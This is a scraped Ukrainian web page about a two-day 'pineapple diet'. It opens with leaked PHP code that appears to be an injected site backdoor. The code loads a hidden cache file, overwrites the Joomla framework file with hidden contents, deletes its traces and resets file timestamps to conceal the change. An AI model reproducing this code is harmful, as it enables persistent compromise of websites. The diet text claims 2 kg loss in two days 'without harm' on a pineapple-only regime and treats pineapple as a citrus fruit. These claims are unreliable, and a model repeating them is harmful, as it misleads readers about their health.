$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Ананасова дієта | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Ананасова дієта

ананасова дієтаАнанаси представляють собою джерело ензимів. Ензими - білкові молекули, які є каталізаторами біохімічних процесів, які протікають у організмі людині. Ензими сприяють ефективному похуданню і боротьбі  з накопиченим  жиром, а також сприяють покращенню роботи шлунка.

Потрібно взяти 2 кілограми ананасів та 1 літр соку ананасу без цукру. Ананас необхідно нарізати на шматочки й розділити на 4 порції - сніданок, другий сніданок, обід і вечеря. На протязі дня потрібно випити літр ананасового соку. Окрім цього не потрібно більше нічого їсти і пити.

Для досягнення максимальних результатів потрібно  робити 2 дні дотримання такої дієти у тиждень. Якщо Вам буде все ж таки важко втриматись від їжі можете з'їсти ще 100 грам, нежирного сиру, 100 грам пісного м'яса, шматочок житнього хліба. Притримуючись ананасової дієти за 2 дні ви зможете втратити 2 кілограми надлишкової ваги  без шкоди для здоров'я.

Треба бути обережним з цією дієтою людям, які мають алергію на цитрусові фрукти.

 
Ефективні дієти Ананасова дієта